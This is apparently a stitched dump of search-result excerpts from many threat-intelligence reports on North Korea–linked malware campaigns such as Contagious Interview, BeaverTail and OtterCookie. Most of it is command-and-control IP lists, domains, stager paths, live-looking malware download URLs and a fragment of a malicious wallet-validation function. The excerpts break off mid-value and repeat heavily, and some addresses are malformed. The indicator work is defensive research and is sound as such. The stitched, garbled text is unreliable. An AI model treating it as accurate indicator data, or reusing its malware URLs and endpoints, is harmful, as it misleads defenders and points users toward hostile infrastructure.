http://65.108.20.73/BattleTank.exe , which is no longer live and was later updated to http://65.108.20.73:3000/BattleTank.exe .…","…Stager (moderate), /task/windows?token=99 Host vscode-config-setting.vercel.app Stager (moderate), /task/windows?token=812 IP 65.108.27.116 Stager (moderate) on :3000, /task/mac?token=30621346 IP 45.61.164.38 Stager (moderate) on :8080, /task/tokenlinux?id=401 Page text I…","…but here’s the responsible malicious validateProxyWallet function in src/utils/validate.ts . The Base64-encoded content is http://65.109.25.6:6000/api/polymarket-copytrading-bot-api-key/validate . const validateProxyWallet = async () => { try { console.…","…7 45.61.151.71 45.61.158.54 45.61.158.7 45.61.169.99 45.82.255.2 45.83.140.231 45.89.53.54 45.89.53.59 46.4.224.205 5.253.43.122 5.89.53.54 65.140.86.227 66.235.168.232 66.235.168.238 67.203.123.171 67.203.7.163 67.203.7.171 67.203.7.200 67.203.7.209 67.203.7.245 69.197.164.117 74.119.194.129…","….176.234 122.224.9.67 45.58.116.102 6.0.6.0 14.114.114.114 122.224.51.149 81.177.26.27 34.255.217.70 217.8.117.63 87.19.73.8 62.210.130.250 65.19.154.100 1.8.0.0 65.98.83.116 44.238.74.84 198.12.91.160 47.243.229.22 192.210.149.242 207.54.136.33 94.228.169.143 192.3.141.164 112.124.120.200 12…","…chainlink-api-v3.cloud moralis-api-v3.cloud modilus.io 116.202.208.125 65.108.122.31 194.164.234.151 135.181.123.177 188.116.26.84 65.21.23.63 95.216.227.188 記事をシェアする 前の記事 【徹底比較】MDRとSOCの違いとは？自社に最適な選び方を解説 Additional Features of OtterCookie Malware Used by WaterPlum…","…Base64 and a repeating XOR key hide its two command servers, 65.21.30.171 and 95.216.232.162 , both at Hetzner in Germany.…","…92.26 64.27.0.205 69.164.196.211 64.233.183.104 37.0.10.214 176.9.157.143 116.255.235.91 194.36.190.41 4.6.0.0 194.36.191.10 203.199.200.61 65.243.103.58 23.95.238.122 66.40.9.246 185.215.113.201 179.43.134.164 167.114.48.58 91.207.116.44 94.198.50.195 174.128.236.169 122.193.130.74 91.92.246…","…3.165 1.0.0.109 67.211.220.139 91.92.109.16 184.154.150.66 217.23.12.63 108.179.192.85 45.195.143.203 47.102.38.154 5.16.16.2 77.78.240.167 65.243.103.80 69.20.25.160 76.73.68.175 61.160.222.11 110.32.117.110 82.98.235.63 188.120.194.101 2.23.43.1 20.195.196.49 3.3.14.2 209.141.61.124 58.218.…","…kida.plusdocs.kro.kr 1.223.129.234 KR mspro.kro.kr msprovider.menews.o-r.kr securedrive-overseas-state.bit-albania.com 65.254.248.151 US securedrive.privatedns.org 121.179.161.231 KR [표 4-1] C2별 Domain, IP 주소 비교 5.…","…kida.plusdocs.kro.kr 1.223.129.234 KR mspro.kro.kr msprovider.menews.o-r.kr securedrive-overseas-state.bit-albania.com 65.254.248.151 US securedrive.privatedns.org 121.179.161.231 KR [Table 4-1] Comparison of Domains and IP Addresses by C2 5.…","…216.255.189.85 12.4.11.53 39.100.159.8 63.219.176.248 176.96.138.103 81.161.229.110 107.189.6.214 66.220.17.157 103.74.105.78 104.37.168.41 65.98.83.114 3.3.3.255 61.32.117.110 178.23.190.157 198.23.172.90 217.23.6.131 222.186.60.89 74.82.216.27 3.70.247.229 47.103.45.174 161.35.227.89 172.9…","…5.58 045.4.3.3 6.0.1.06 185.216.213.137 78.111.67.189 69.50.175.181 178.236.247.102 209.200.169.10 115.47.49.181 42.51.155.153 45.93.201.62 65.98.83.115 54.237.176.95 58.65.239.124 185.244.25.155 91.92.252.146 5.39.217.221 194.178.112.202 98.126.208.83 31.214.157.170 95.211.153.103 195.225.1…","…45.58.116.102 6.0.6.0 14.114.114.114 122.224.51.149 81.177.26.27 34.255.217.70 217.8.117.63 87.19.73.8 62.210.130.250 65.19.154.100 1.8.0.0 65.98.83.116 44.238.74.84 198.12.91.160 47.243.229.22 192.210.149.242 207.54.136.33 94.228.169.143 192.3.141.164 112.124.120.200 120.55.196.60 59.46.12.…","…1.0 111.90.149.233 20.234.231.114 77.83.197.180 205.177.124.74 5.5.7.1 23.108.108.42 27.126.188.212 62.233.57.103 80.66.75.25 47.103.219.77 65.98.83.119 37.221.160.56 185.147.237.244 180.101.75.58 045.4.3.3 6.0.1.06 185.216.213.137 78.111.67.189 69.50.175.181 178.236.247.102 209.200.169.10 1…","…1.182 54.249.210.44 061.19.253.26 209.59.216.158 11.76.6.1 3.130.37.158 94.142.138.111 94.75.201.1 144.48.240.85 91.224.92.26 94.130.200.99 66.102.11.99 81.95.147.107 20.51.217.113 45.142.211.22 1.0.0.3 1.9.0.1 134.175.236.132 122.228.228.71 5.39.67.191 37.10.71.35 207.226.178.158 51.79.185.…","…16509 Amazon.com (US) 60.20.1.234 4837 China Unicom (CN) 66.115.157.242 46562 Performive (US) 67.129.13.170 209 CenturyLink (US)…","…60.234.42.250 60.249.92.67 61.218.132.193 61.218.138.181 61.219.114.7 61.221.116.19 61.221.116.28 61.221.116.109 63.143.61.57 64.32.17.130 66.115.157.242 66.150.196.58 66.187.75.186 67.43.48.10 67.43.49.10 67.43.54.10 70.36.99.82 74.63.233.50 74.222.14.74 74.222.14.83 77.247.126.189 80.90.48.…","…Recorded Future 45.86.208.162 70.32.3.15 Contagious Interview (SentinelOne) SentinelOne 66.118.255.35 Bybit attack (Silent Push) Silent Push External references The Reconnaissance General Bureau: The Kim…","…labs/contagious-interview- threat-actors-scout-cyber- intel-platforms-reveal-plans- and-ops/ 66.118.255.35 Bybit attack (Silent push) https://www.silentpush.com/ blog/lazarus-bybit/ ‍ 2026 Threat Research Threat…","…199.115.99.34 204.188.233.66 208.115.228.234 209.127.117.234 23.106.161.1 23.106.169.120 38.170.181.10 38.32.68.195 45.86.208.162 66.118.255.35 70.32.3.15 70.39.103.3 70.39.70.194 77.247.126.189 91.239.130.102 Investigating BlockNovas’ GitHub Infrastructure Here, our…","…66 208.115.228.234 209.127.117.234 23.106.161.1 23.106.169.120 23.83.129.1 38.170.181.10 38.32.68.195 38.75.137.213 45.86.208.162 66.118.255.35 70.32.3.15 70.36.99.82 70.39.103.3 70.39.70.194 74.222.14.83 77.247.126.189 91.239.130.102 Related Reading Here are a few…","…es-lint-builder (1.0.0) 2026-03-12 16:24:38 89.187.161.180 Astrill VPN ja.vierj.ea.n.070 es-lint-entry (1.0.0) 2026-03-16 10:44:40 66.150.196.58 Astrill VPN ja.vierj.ea.n.070 lint-entry (1.0.0) 2026-03-16 11:22:19 66.150.196.58 Astrill VPN ja.vierj.ea.n.070 linter-entry (1.0.0)…","…60.249.92.67 61.218.132.193 61.218.138.181 61.219.114.7 61.221.116.19 61.221.116.28 61.221.116.109 63.143.61.57 64.32.17.130 66.115.157.242 66.150.196.58 66.187.75.186 67.43.48.10 67.43.49.10 67.43.54.10 70.36.99.82 74.63.233.50 74.222.14.74 74.222.14.83 77.247.126.189 80.90.48.191 82.103.129…","…5.160 76.73.68.175 61.160.222.11 110.32.117.110 82.98.235.63 188.120.194.101 2.23.43.1 20.195.196.49 3.3.14.2 209.141.61.124 58.218.200.107 66.171.248.178 216.18.197.130 103.183.118.30 185.117.72.143 104.168.160.209 58.221.71.73 121.12.104.29 159.89.214.31 174.133.126.27 115.16.79.72 206.161.2…","…reggedrobin.com toyourownbeat.com zscaler-api.org IP Addresses 51.254.24.19 185.152.67.39 70.39.103.3 66.187.75.186 104.223.86.8 100.21.104.112 23.95.182.5 78.141.223.50 116.202.251.38 89.44.9.202 192.185.5.189 162.241.248.14…","…1.218.132.193 61.218.138.181 61.219.114.7 61.221.116.19 61.221.116.28 61.221.116.109 63.143.61.57 64.32.17.130 66.115.157.242 66.150.196.58 66.187.75.186 67.43.48.10 67.43.49.10 67.43.54.10 70.36.99.82 74.63.233.50 74.222.14.74 74.222.14.83 77.247.126.189 80.90.48.191 82.103.129.80 82.223.120…","….14 167.99.39.23 195.88.208.210 112.101.40.34 9.5.11.0 64.190.113.230 69.50.175.178 60.217.234.138 188.34.187.110 4.55.37.210 18.141.200.95 66.199.251.114 89.23.98.22 85.17.138.60 59.188.136.151 207.226.171.36 83.171.239.79 80.66.75.116 103.228.36.104 5.252.178.213 49.1.9.16 13.231.238.12 124.…","…4.133.126.27 115.16.79.72 206.161.205.142 216.255.189.85 12.4.11.53 39.100.159.8 63.219.176.248 176.96.138.103 81.161.229.110 107.189.6.214 66.220.17.157 103.74.105.78 104.37.168.41 65.98.83.114 3.3.3.255 61.32.117.110 178.23.190.157 198.23.172.90 217.23.6.131 222.186.60.89 74.82.216.27 3.70.…","…DOMAIN koinos.io 2026-02-26 2026-02-26 DOMAIN veneliteus.com 2026-02-26 2026-02-26 IPv4 66.235.11.117 2026-02-26 2026-02-26 IPv4 130.65.230.100 2026-02-26 2026-02-26 IPv4 103.65.230.100 2026-02-26…","…If the operating system is Windows, it downloads Python from http://66.235.11.117:1244/pdo to execute the .npl file. caption - .npl file download routine After executing InvisibleFerret, it downloads the remaining…","…We think it necessary to pay close attention to their activities. IoC 185.163.125.196 147.124.202.208 163.245.194.216 66.235.168.136 87.236.177.9 記事をシェアする 前の記事 WaterPlumが使用するマルウェアStoatWaffleについて CARO Workshop 2026 登壇レポート 次の記事 セキュリティナレッジ一覧へ戻る 関連記事 /…","…team2 0x5c00998365a57cd53ab5ea2963689a158dff6301 45.59.163.43 → 13.140.40.133 (09-18) team3 0x1a9700e5d74f64429594df53efcb6bc8c3936cb5 66.235.168.14 → 13.140.40.208 → 13.140.40.214 → 80.190.73.17 (09-28) team9 0x05a071fcccb797cff4eedce28d0ae9c01444dc1a 82.158.192.152 team10…","…45.140.184.41 AS212238 Datacamp Limited 47.147.126.25 - - 47.157.38.92 - - 64.29.17.3 - - 66.235.168.17 AS397423 Tier.Net Technologies LLC 66.235.175.4 AS397423 Tier.Net Technologies LLC 66.235.175.48 AS397423…","…92.47.152 38.92.47.155 45.43.11.201 45.59.163.23 45.59.163.56 45.61.128.61 45.61.133.110 45.61.135.4 45.61.150.30 45.61.160.28 45.61.165.45 66.235.168.17 66.235.168.232 66.235.168.238 66.235.175.109 66.235.175.117 67.203.7.163 67.203.7.200 67.203.7.205 88.218.0.78 107.189.24.80 144.172.95.226…","…45.128.52.14 45.137.213.30 45.43.11.201 45.61.133.110 45.61.150.30 45.61.150.31 45.61.151.71 45.76.160.53 5.253.43.122 66.235.168.232 66.235.175.109 67.203.7.163 67.203.7.171 86.104.74.51 88.218.0.78 94.131.97.195 95.164.17.24 Markdown Tsunami…","…2.47.155 45.43.11.201 45.59.163.23 45.59.163.56 45.61.128.61 45.61.133.110 45.61.135.4 45.61.150.30 45.61.160.28 45.61.165.45 66.235.168.17 66.235.168.232 66.235.168.238 66.235.175.109 66.235.175.117 67.203.7.163 67.203.7.200 67.203.7.205 88.218.0.78 107.189.24.80 144.172.95.226 144.172.100.12…","…45.61.158.54 45.61.158.7 45.61.169.99 45.82.255.2 45.83.140.231 45.89.53.54 45.89.53.59 46.4.224.205 5.253.43.122 5.89.53.54 65.140.86.227 66.235.168.232 66.235.168.238 67.203.123.171 67.203.7.163 67.203.7.171 67.203.7.200 67.203.7.209 67.203.7.245 69.197.164.117 74.119.194.129 86.104.74.51 8…","…AS396073 Backup 45.43.11.199 WIN-4MOD9QVI0EN AS397423 (TIER-NET) Router (offline) 66.235.63.55 - AS397423 MetaMask Injector 66.235.168.238 Z238 AS397423 Chrome Stealer C2 45.59.163.55 PS55 AS397423 Chrome Stealer C2 All servers run Windows Server 2019/2022 with…","…Domain Vercel C2 (31df390f0305) 11.34.242.92 IP NEW C2 (from deobfuscation) 147.124.212.125 IP Active socket C2 66.235.168.238 IP Active socket C2 45.59.163.55 IP Active socket C2 0xad031E8d8877481337cD53E141C16A2201BB6F4d Polygon Contract DDR #1…","…APT groups make when they prioritize convenience over compartmentalization. What the Decryption Revealed The decrypted output from 66.235.168.238:22411 contained 6,208 lines of operator beacon data spanning January 29 through February 3, 2026. The beacons show two processes…","…11.201 45.59.163.23 45.59.163.56 45.61.128.61 45.61.133.110 45.61.135.4 45.61.150.30 45.61.160.28 45.61.165.45 66.235.168.17 66.235.168.232 66.235.168.238 66.235.175.109 66.235.175.117 67.203.7.163 67.203.7.200 67.203.7.205 88.218.0.78 107.189.24.80 144.172.95.226 144.172.100.124 144.172.100.1…","…5.61.158.7 45.61.169.99 45.82.255.2 45.83.140.231 45.89.53.54 45.89.53.59 46.4.224.205 5.253.43.122 5.89.53.54 65.140.86.227 66.235.168.232 66.235.168.238 67.203.123.171 67.203.7.163 67.203.7.171 67.203.7.200 67.203.7.209 67.203.7.245 69.197.164.117 74.119.194.129 86.104.74.51 88.218.0.78 91.1…","…physical server handles victims from both campaigns. BeaverTail C2s (confirmed): 147.124.213.232, 147.124.212.125, 147.124.214.129, 66.235.168.238, 45.59.163.55, 216.250.251.87 OtterCookie C2s (confirmed): 172.86.105.40, 172.86.116.178, 86.106.85.234, 144.172.104.117,…","…The protocol remained a black box. In wave 24, we cracked it. Server 66.235.168.238:22411 returns 916-byte encrypted streams on connection.…","…IPv4 216.250.251.87 2026-01-12 2026-02-26 IPv4 45.59.163.55 2026-01-12 2026-02-26 IPv4 66.235.175.109 2025-11-13 2026-02-26 Related Actors Contagious Interview Paloalto Networks…","…45.137.213.30 45.43.11.201 45.61.133.110 45.61.150.30 45.61.150.31 45.61.151.71 45.76.160.53 5.253.43.122 66.235.168.232 66.235.175.109 67.203.7.163 67.203.7.171 86.104.74.51 88.218.0.78 94.131.97.195 95.164.17.24 Markdown Tsunami Indicators http[ ://…","…activity . Transtelecom IP address PurpleBravo C2 Servers 188.43.33.252 66.235.175.117 67.203.7.205 66.235.175.109 Table 4 : Observed PurpleBravo C2 servers communicating with Transtelecom IP address (Source: Recorded Future) Previous…","…Additionally, with the exception of 130.65.230.100 , 66.235.175.117 , and 66.235.175.109 , port 445 (SMB) was open on the remaining IPs. Furthermore, while most C&C servers dropped requests containing invalid campaign IDs,…","…IPv4 172.86.73.198 2026-01-21 2026-02-26 IPv4 38.92.47.152 2026-01-21 2026-02-26 IPv4 66.235.175.117 2026-01-21 2026-02-26 URL https://vscode-toolkit-bootstra… 2026-01-20 2026-02-26 URL…","…is also associated with PurpleDelta activity . Transtelecom IP address PurpleBravo C2 Servers 188.43.33.252 66.235.175.117 67.203.7.205 66.235.175.109 Table 4 : Observed PurpleBravo C2 servers communicating with Transtelecom IP address…","…As of 2026-01-26, the Payload C&C address was 66.235.175.117 and the campaign ID was knHbMe8 . caption - Payload Server address decoding routine Strings are decrypted using XOR with the key…","…- - 47.157.38.92 - - 64.29.17.3 - - 66.235.168.17 AS397423 Tier.Net Technologies LLC 66.235.175.4 AS397423 Tier.Net Technologies LLC 66.235.175.48 AS397423 Tier.Net Technologies LLC 69.42.222.23 AS32097…","…- - 66.235.168.17 AS397423 Tier.Net Technologies LLC 66.235.175.4 AS397423 Tier.Net Technologies LLC 66.235.175.48 AS397423 Tier.Net Technologies LLC 69.42.222.23 AS32097 WholeSale Internet, Inc. 78.142.218.26 AS397423…","…Secondary C2 216.250.251.87 WIN-8OA3CCQAE4D AS396073 Backup 45.43.11.199 WIN-4MOD9QVI0EN AS397423 (TIER-NET) Router (offline) 66.235.63.55 - AS397423 MetaMask Injector 66.235.168.238 Z238 AS397423 Chrome Stealer C2 45.59.163.55 PS55 AS397423 Chrome Stealer C2 All…","…was privately registered through domain registrar NameCheap and first seen on December 16, 2022, resolving to IP address 66.29.141.228. 100 According to Radiant Capital , this cyber operation ultimately compromised multiple employee devices, and led to the theft…","….211 64.233.183.104 37.0.10.214 176.9.157.143 116.255.235.91 194.36.190.41 4.6.0.0 194.36.191.10 203.199.200.61 65.243.103.58 23.95.238.122 66.40.9.246 185.215.113.201 179.43.134.164 167.114.48.58 91.207.116.44 94.198.50.195 174.128.236.169 122.193.130.74 91.92.246.35 49.12.42.56 122.224.9.…","….81 51.254.25.115 174.133.72.250 97.0.1.80 188.213.167.248 122.224.9.113 212.192.241.203 211.167.73.23 101.115.99.97 1.1.5.0 216.170.114.67 66.42.63.27 143.202.163.165 1.0.0.109 67.211.220.139 91.92.109.16 184.154.150.66 217.23.12.63 108.179.192.85 45.195.143.203 47.102.38.154 5.16.16.2 77.…","Direct-IP command-and-control endpoint for the April 2026 cross-ecosystem Contagious Interview wave, reported by Socket.","…shell, browser theft, keylogging, AnyDesk deployment, and more This package also introduces a second infrastructure cluster centered on 66.45.225.94 , and it is the clearest example of a fuller post-compromise implant chain. The packages reuse the same downloadUrl workflow, archive…","…This package introduces a second infrastructure cluster centered on the IP address 66.45.225.94 . Related: TrueConf zero-day turned trusted updates into a government espionage backdoor Socket's assessment is that the…","…4837 China Unicom (CN) 66.115.157.242 46562 Performive (US) 67.129.13.170 209 CenturyLink (US) 67.82.9.140 6128 Optimum Online (US)…","…(TCP) 23.44.229.223:443 (TCP) 23.62.216.24:443 (TCP) 23.75.68.149:443 (TCP) 255.255.255.255:67 (UDP) 54.189.10.237:443 (TCP) 67.195.204.56:443 (TCP) 67.195.228.56:443 (TCP) 72.21.91.29:80 (TCP) 8.8.8.8:53 (UDP) 2023-04-26 07:53:46 UTC 바이러스토탈(VirusTotal) 기준으로 탐지하는 보안 업체들은 다음과…","…not C2 Akamai fallback IPs Listed as RAT fallback Legitimate CDN nodes — Apple service infrastructure, not attacker-controlled 67.195.204.56 (Yahoo) Listed as suspicious contact Yahoo media router ( media-router-apple71.prod.media.vip.bf1.yahoo.com ) — background traffic…","….204.179.4 176.111.174.140 185.106.94.51 112.175.69.77 185.123.53.208 154.91.64.19 51.75.36.184 172.104.65.137 178.250.159.150 79.174.92.22 67.198.179.75 103.54.153.116 212.46.38.238 95.164.63.54 80.66.75.44 172.94.3.25 103.117.121.160 45.95.235.56 50.233.152.7 122.224.32.8 173.243.255.79 89.…","…45.61.130.0 45.61.131.218 45.61.158.54 45.61.158.7 45.61.160.14 45.61.169.187 45.61.169.99 45.89.53.59 46.4.224.205 67.203.0.152 67.203.123.171 67.203.6.171 67.203.7.163 67.203.7.171 67.203.7.245 77.37.37.81 91.92.120.135 95.164.17.24 blocktestingto.com de.ztec.store…","…1.169.99 45.82.255.2 45.83.140.231 45.89.53.54 45.89.53.59 46.4.224.205 5.253.43.122 5.89.53.54 65.140.86.227 66.235.168.232 66.235.168.238 67.203.123.171 67.203.7.163 67.203.7.171 67.203.7.200 67.203.7.209 67.203.7.245 69.197.164.117 74.119.194.129 86.104.74.51 88.218.0.78 91.198.66.112 91.19…","…45.61.133.110 45.61.150.30 45.61.150.31 45.61.151.71 45.76.160.53 5.253.43.122 66.235.168.232 66.235.175.109 67.203.7.163 67.203.7.171 86.104.74.51 88.218.0.78 94.131.97.195 95.164.17.24 Markdown Tsunami Indicators http[ ://…","…45.61.133.110 45.61.135.4 45.61.150.30 45.61.160.28 45.61.165.45 66.235.168.17 66.235.168.232 66.235.168.238 66.235.175.109 66.235.175.117 67.203.7.163 67.203.7.200 67.203.7.205 88.218.0.78 107.189.24.80 144.172.95.226 144.172.100.124 144.172.100.142 144.172.102.21 144.172.102.148 144.172.1…","…5.61.158.54 45.61.158.7 45.61.160.14 45.61.169.187 45.61.169.99 45.89.53.59 46.4.224.205 67.203.0.152 67.203.123.171 67.203.6.171 67.203.7.163 67.203.7.171 67.203.7.245 77.37.37.81 91.92.120.135 95.164.17.24 blocktestingto.com de.ztec.store hirog.io freeconference.io…","…255.2 45.83.140.231 45.89.53.54 45.89.53.59 46.4.224.205 5.253.43.122 5.89.53.54 65.140.86.227 66.235.168.232 66.235.168.238 67.203.123.171 67.203.7.163 67.203.7.171 67.203.7.200 67.203.7.209 67.203.7.245 69.197.164.117 74.119.194.129 86.104.74.51 88.218.0.78 91.198.66.112 91.198.66.158 91.9…","…to this long-running campaign. 23.106.253.194 45.61.129.255 45.61.130.0 45.61.131.218 45.61.160.14 45.61.169.187 45.140.147.208 67.203.7.171 67.203.7.245 77.37.37.81 91.92.120.135 95.164.17.24 144.172.74.48 144.172.79.23 147.124.212.89 147.124.213.11 147.124.213.29 147.…","…67.203.7.171 N/A Amaze Internet Services 2024‑02‑14 BeaverTail/InvisibleFerret C&C and staging server.…","…45.61.150.30 45.61.150.31 45.61.151.71 45.76.160.53 5.253.43.122 66.235.168.232 66.235.175.109 67.203.7.163 67.203.7.171 86.104.74.51 88.218.0.78 94.131.97.195 95.164.17.24 Markdown Tsunami Indicators http[ ://…","…5.61.158.7 45.61.160.14 45.61.169.187 45.61.169.99 45.89.53.59 46.4.224.205 67.203.0.152 67.203.123.171 67.203.6.171 67.203.7.163 67.203.7.171 67.203.7.245 77.37.37.81 91.92.120.135 95.164.17.24 blocktestingto.com de.ztec.store hirog.io freeconference.io…","…40.231 45.89.53.54 45.89.53.59 46.4.224.205 5.253.43.122 5.89.53.54 65.140.86.227 66.235.168.232 66.235.168.238 67.203.123.171 67.203.7.163 67.203.7.171 67.203.7.200 67.203.7.209 67.203.7.245 69.197.164.117 74.119.194.129 86.104.74.51 88.218.0.78 91.198.66.112 91.198.66.158 91.92.120.135 93.…","…0 45.61.135.4 45.61.150.30 45.61.160.28 45.61.165.45 66.235.168.17 66.235.168.232 66.235.168.238 66.235.175.109 66.235.175.117 67.203.7.163 67.203.7.200 67.203.7.205 88.218.0.78 107.189.24.80 144.172.95.226 144.172.100.124 144.172.100.142 144.172.102.21 144.172.102.148 144.172.103.97 144.172…","…53.54 45.89.53.59 46.4.224.205 5.253.43.122 5.89.53.54 65.140.86.227 66.235.168.232 66.235.168.238 67.203.123.171 67.203.7.163 67.203.7.171 67.203.7.200 67.203.7.209 67.203.7.245 69.197.164.117 74.119.194.129 86.104.74.51 88.218.0.78 91.198.66.112 91.198.66.158 91.92.120.135 93.127.134.237 9…","…IPv4 216.250.251.211 2026-02-26 2026-02-26 IPv4 147.124.213.19 2026-01-21 2026-02-26 IPv4 67.203.7.205 2026-01-21 2026-02-26 IPv4 172.86.73.198 2026-01-21 2026-02-26 IPv4 38.92.47.152 2026-01-21…","…with PurpleDelta activity . Transtelecom IP address PurpleBravo C2 Servers 188.43.33.252 66.235.175.117 67.203.7.205 66.235.175.109 Table 4 : Observed PurpleBravo C2 servers communicating with Transtelecom IP address (Source: Recorded…","…216.250.251.87 45.59.163.23 45.59.163.55 38.92.47.152 103.65.230.100 147.124.213.19 66.235.175.117 66.235.175.109 147.124.202.225 67.203.7.205 147.124.213.232 172.86.73.198 URL…","…- p.js - 7bd7c41bc5b91cced6630cfc64c595ec149c115ad98de1d346d48497b38cefa5 - n.js IP ADDRESSES ASSOCIATED WITH THIS ACTIVITY: - 67.203.7.205 - 45.43.11.199 REPOSITORY ASSOCIATED WITH THIS ACTIVITY: - https://github.com/michalcaladanxyz/caladanecomvp - Note: The repository was…","…3.59 46.4.224.205 5.253.43.122 5.89.53.54 65.140.86.227 66.235.168.232 66.235.168.238 67.203.123.171 67.203.7.163 67.203.7.171 67.203.7.200 67.203.7.209 67.203.7.245 69.197.164.117 74.119.194.129 86.104.74.51 88.218.0.78 91.198.66.112 91.198.66.158 91.92.120.135 93.127.134.237 94.131.97.195…","…campaign. 23.106.253.194 45.61.129.255 45.61.130.0 45.61.131.218 45.61.160.14 45.61.169.187 45.140.147.208 67.203.7.171 67.203.7.245 77.37.37.81 91.92.120.135 95.164.17.24 144.172.74.48 144.172.79.23 147.124.212.89 147.124.213.11 147.124.213.29 147.124.212.146 1…","….61.160.14 45.61.169.187 45.61.169.99 45.89.53.59 46.4.224.205 67.203.0.152 67.203.123.171 67.203.6.171 67.203.7.163 67.203.7.171 67.203.7.245 77.37.37.81 91.92.120.135 95.164.17.24 blocktestingto.com de.ztec.store hirog.io freeconference.io ipcheck.cloud…","….205 5.253.43.122 5.89.53.54 65.140.86.227 66.235.168.232 66.235.168.238 67.203.123.171 67.203.7.163 67.203.7.171 67.203.7.200 67.203.7.209 67.203.7.245 69.197.164.117 74.119.194.129 86.104.74.51 88.218.0.78 91.198.66.112 91.198.66.158 91.92.120.135 93.127.134.237 94.131.97.195 94.131.9.32 9…","…1.80 188.213.167.248 122.224.9.113 212.192.241.203 211.167.73.23 101.115.99.97 1.1.5.0 216.170.114.67 66.42.63.27 143.202.163.165 1.0.0.109 67.211.220.139 91.92.109.16 184.154.150.66 217.23.12.63 108.179.192.85 45.195.143.203 47.102.38.154 5.16.16.2 77.78.240.167 65.243.103.80 69.20.25.160 76.…","…(may be shared origin) 2 64.92.82.59 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 67.43.227.226 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 67.43.227.227 ipv4 insider August 2024…","…(may be shared origin) 2 67.43.227.226 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 67.43.227.227 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 67.43.228.253 ipv4 insider August 2024…","…(may be shared origin) 2 67.43.227.227 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 67.43.228.253 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 67.43.236.19 ipv4 insider August 2024…","…(may be shared origin) 2 67.43.228.253 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 67.43.236.19 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 67.43.236.20 ipv4 insider August 2024…","…(may be shared origin) 2 67.43.236.19 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 67.43.236.20 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 72.10.160.171 ipv4 insider August 2024…","…61.218.138.181 61.219.114.7 61.221.116.19 61.221.116.28 61.221.116.109 63.143.61.57 64.32.17.130 66.115.157.242 66.150.196.58 66.187.75.186 67.43.48.10 67.43.49.10 67.43.54.10 70.36.99.82 74.63.233.50 74.222.14.74 74.222.14.83 77.247.126.189 80.90.48.191 82.103.129.80 82.223.120.180 84.17.3…","…ColoGuys Dallas – 67.43.49.10 – appears as a recurring source address across three consecutive days: February 17, 18, and 19.…","…81 61.219.114.7 61.221.116.19 61.221.116.28 61.221.116.109 63.143.61.57 64.32.17.130 66.115.157.242 66.150.196.58 66.187.75.186 67.43.48.10 67.43.49.10 67.43.54.10 70.36.99.82 74.63.233.50 74.222.14.74 74.222.14.83 77.247.126.189 80.90.48.191 82.103.129.80 82.223.120.180 84.17.38.140 84.17.…","…4.7 61.221.116.19 61.221.116.28 61.221.116.109 63.143.61.57 64.32.17.130 66.115.157.242 66.150.196.58 66.187.75.186 67.43.48.10 67.43.49.10 67.43.54.10 70.36.99.82 74.63.233.50 74.222.14.74 74.222.14.83 77.247.126.189 80.90.48.191 82.103.129.80 82.223.120.180 84.17.38.140 84.17.41.94 85.195…","…hide.me VPN 2025-09-24 13:23:38 async-chai (2.3.0) 193.118.55.17 hide.me VPN 2025-10-20 20:13:05 cookie-validate (2.2.4) 67.43.59.10 Astrill VPN 2025-10-24 15:40:47 chai-await-asserts (2.2.6) 88.216.2.162 Astrill VPN 2025-10-27 19:39:29 chai-await-utils (2.2.6)…","…46562 Performive (US) 67.129.13.170 209 CenturyLink (US) 67.82.9.140 6128 Optimum Online (US) 68.197.75.194 6128 Optimum Online (US)…","…209 CenturyLink (US) 67.82.9.140 6128 Optimum Online (US) 68.197.75.194 6128 Optimum Online (US) 70.39.103.3 46844 Sharktech AstrillVPN (US)…","…store www.driverservices.store block-digital.online cpanel.block-digital.online webmail.block-digital.online www.block-digital.online 69.10.53.86 141.98.168.79 198.54.116.177 103.231.75.101 45.89.53.54 199.188.200.147 198.54.119.94 192.64.119.25 45.159.248.110 http://69.10.53…","…5.164.33.66 95.164.45.239 95.217.124.253 angeloperonline.online lianxinxiao.com sageskills-uk.com www.dalas.nl 146.70.253.107 141.98.168.79 69.10.53.86 60.93.32.117 103.35.188.237 23.227.203.204 217.148.142.113 0.10.51.212 45.61.151.174 23.227.203.192 23.227.202.51 23.227.202.52 172.86.116.…","…6.123.147.226 83.149.95.197 104.196.12.189 23.95.122.25 174.122.240.164 020.4.11.165 207.226.177.108 37.49.224.144 78.128.92.26 64.27.0.205 69.164.196.211 64.233.183.104 37.0.10.214 176.9.157.143 116.255.235.91 194.36.190.41 4.6.0.0 194.36.191.10 203.199.200.61 65.243.103.58 23.95.238.122 66.4…","….122 5.89.53.54 65.140.86.227 66.235.168.232 66.235.168.238 67.203.123.171 67.203.7.163 67.203.7.171 67.203.7.200 67.203.7.209 67.203.7.245 69.197.164.117 74.119.194.129 86.104.74.51 88.218.0.78 91.198.66.112 91.198.66.158 91.92.120.135 93.127.134.237 94.131.97.195 94.131.9.32 94.232.247.192 9…","…0 192.31.196.0 192.0.0.9 49.1.1.1 198.18.0.0 224.0.0.251 192.0.0.170 1.3.132.0 255.255.255.255 240.0.0.0 192.88.99.0 192.0.2.0 192.175.48.0 69.197.164.135 95.216.64.240 198.23.251.121 192.3.204.226 172.245.142.35 173.208.160.45 107.189.11.54 13.112.233.199 45.32.176.234 122.224.9.67 45.58.116.…","…9 67.211.220.139 91.92.109.16 184.154.150.66 217.23.12.63 108.179.192.85 45.195.143.203 47.102.38.154 5.16.16.2 77.78.240.167 65.243.103.80 69.20.25.160 76.73.68.175 61.160.222.11 110.32.117.110 82.98.235.63 188.120.194.101 2.23.43.1 20.195.196.49 3.3.14.2 209.141.61.124 58.218.200.107 66.17…","…Ltd : 69.30.210.152 - 69.30.210.159 (WholeSale Internet - Kansas) 107.150.47.16 - 107.150.47.23 (Nocix LLC - Kansas) 173.208.245.144 - 173.208.245.151…","…Ltd : 69.30.210.152 - 69.30.210.159 (WholeSale Internet - Kansas) 107.150.47.16 - 107.150.47.23 (Nocix LLC - Kansas) 173.208.245.144 - 173.208.245.151 (WholeSale Internet -…","…211 